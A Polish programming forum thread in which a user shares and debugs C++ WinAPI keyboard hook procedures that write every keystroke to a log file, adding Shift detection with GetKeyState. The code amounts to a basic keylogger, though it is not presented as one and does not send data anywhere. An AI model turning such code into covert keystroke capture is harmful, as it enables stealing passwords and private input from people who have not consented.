C++ WinAPI procedura hakowa, sprawdzanie dodatkowych przycisków 2362 0

O temacie

Autor Wonski

Zaczęty 24.10.2015 roku

Wyświetleń 2362

Odpowiedzi 0

Wonski

Wonski

Gry (themodders@telegram)
radio engineer
posty256
Propsy91
ProfesjaProgramista
  • Gry (themodders@telegram)
  • radio engineer

Wonski
Gry (themodders@telegram)

C++ WinAPI procedura hakowa, sprawdzanie dodatkowych przycisków
2015-10-24, 19:17(Ostatnia zmiana: 2015-10-25, 11:19)
Witam,
Mam kod:
LRESULT CALLBACK procedure_test(int code, WPARAM wParam, LPARAM lParam)
{
if (code >= HC_ACTION)
{
if ((lParam & 0x80000000) == 0)
{
std::ofstream txt;
  txt.open("test_log.txt", ios::app);
  if (txt.good())
{
  if (wParam >= 65 && wParam <= 90)
for (int i = 0; i < 26; i++)
{
  if (wParam == small_alfabet_tab[i].v_find_ASCII)
  txt << small_alfabet_tab[i].v_char;
}
  else
  txt << (char)wParam;
     }
else MessageBox(0, "plik test_log zle otwartyotwarty", "info", MB_OK);
txt.close();
}
}

Tak w skrócie jest to procedura hakowa. Dla wartości wParam >65 && wParam <90 (czyli znaki od A do Z, duże oczywiście) przypisuje małe litery alfabetu.

Problem jest w tym, że mam zajęty parametr lParam i nie wiem jak sprawdzić czy nie został przytrzymany jakikolwiek przycisk np alt czy shift.
Przez to nie mogę wykorzystać innych struktur, w których są znaki np duże znaki diakrytyczne, do których wpisania potrzebny jest shift + prawy alt + znak.

Klasyczna implementacja jej procedury jaką znalazłem w internecie jest do kitu:
if(wParam >32 && wParam <127) txt << (char)wParam;


Jest do kitu ponieważ zczytuje tylko same duże litery, nie ma możliwości obsługi diakrytyki, znaków pisanych za pomocą shift+

W sumie to myślałem aby utworzyć kolejkę i wczytywać do niej dwa ostatnie parametry wParam i jeżeli pierwszy parametr równa sie któremuś z przycisków dodatkowych to należy korzystać ze struktury do której są przypisane duże znaki.



Post połączony: 2015-10-25, 11:19
W sumie pomysł z rozbiciem tego na stos okazał się wcale nie głupi. Rozczytywało shifta i dla niego szukało znaków w osobnej strukturze. Ale aby funkcja działała poprawnie, dla shifta wciśniętego cały czas to musiałby on być sztucznie utrzymywany na stosie cały czas:
/*void procedura_push_txt()
{
int szczyt, spodek;

szczyt = stack_test.top();
stack_test.pop();

spodek = stack_test.top();
stack_test.pop();

std::ofstream txt;
txt.open("test_log.txt", ios::app);
if (txt.good())
{
if (szczyt >= 65 && szczyt <= 90) //domyślnie dla znaków są wpisywane duże litery nwm dlaczego, a duże litery są właśnie w przedziale 65,90
for (int i = 0; i < 26; i++)
{
if (spodek == 16) //czyli prawy lub lewy shift
{
if (szczyt == large_alfabet_tab[i].v_find_ASCII)
txt << large_alfabet_tab[i].v_char;
}
else
{
if (szczyt == small_alfabet_tab[i].v_find_ASCII)
txt << small_alfabet_tab[i].v_char;
}
}
stack_test.push(szczyt);
}
}

gdzie przy wywoływaniu programu na stos wrzucałem 0. W funkcji hakowej była wrzucana wartość wParam i wywoływana powyższa procedura.
Ale jak już mówiłem pomysł okazał się kiepski.

Znalazłem w internetach funkcję GetKeyState której pako parametr podaje się wartość VK. Funkcja ta sprawdza czy dany przycisk nie został wciśnięty.
Wróciłem więc do samej funkcji hakowej i oto co udało mi się zrobić:
LRESULT CALLBACK procedure_test(int code, WPARAM wParam, LPARAM lParam)
{
if (code >= HC_ACTION)
{
if ((lParam & 0x80000000) == 0)
{
std::ofstream txt;
txt.open("test_log.txt", ios::app);
if (txt.good())
{
if (wParam >= 65 && wParam <= 90)
{
if (((GetKeyState(VK_SHIFT) & 0x8000) != 0))
{
for (int i = 0; i < 26; i++)
{
if (wParam == large_alfabet_tab[i].v_find_ASCII)
txt << large_alfabet_tab[i].v_char;
}
}

else
{
for (int i = 0; i < 26; i++)
{
if (wParam == small_alfabet_tab[i].v_find_ASCII)
txt << small_alfabet_tab[i].v_char;
}
}
}
}
else MessageBox(0, "plik test_log chujowo otwarty", "info", MB_OK);

txt.close();
}
}
return CallNextHookEx(0, code, wParam, lParam);
}

Wreszcie działa tak jak chciałem. Problem jest tak, że ta procedura staje sie coraz większa, więc będę musiał ją rozbić na kilka mniejszych.
Gdy skończę to z pewnością opublikuję całość na jakimś githubie
 


0 użytkowników i 1 Gość przegląda ten wątek.
0 użytkowników
Do góry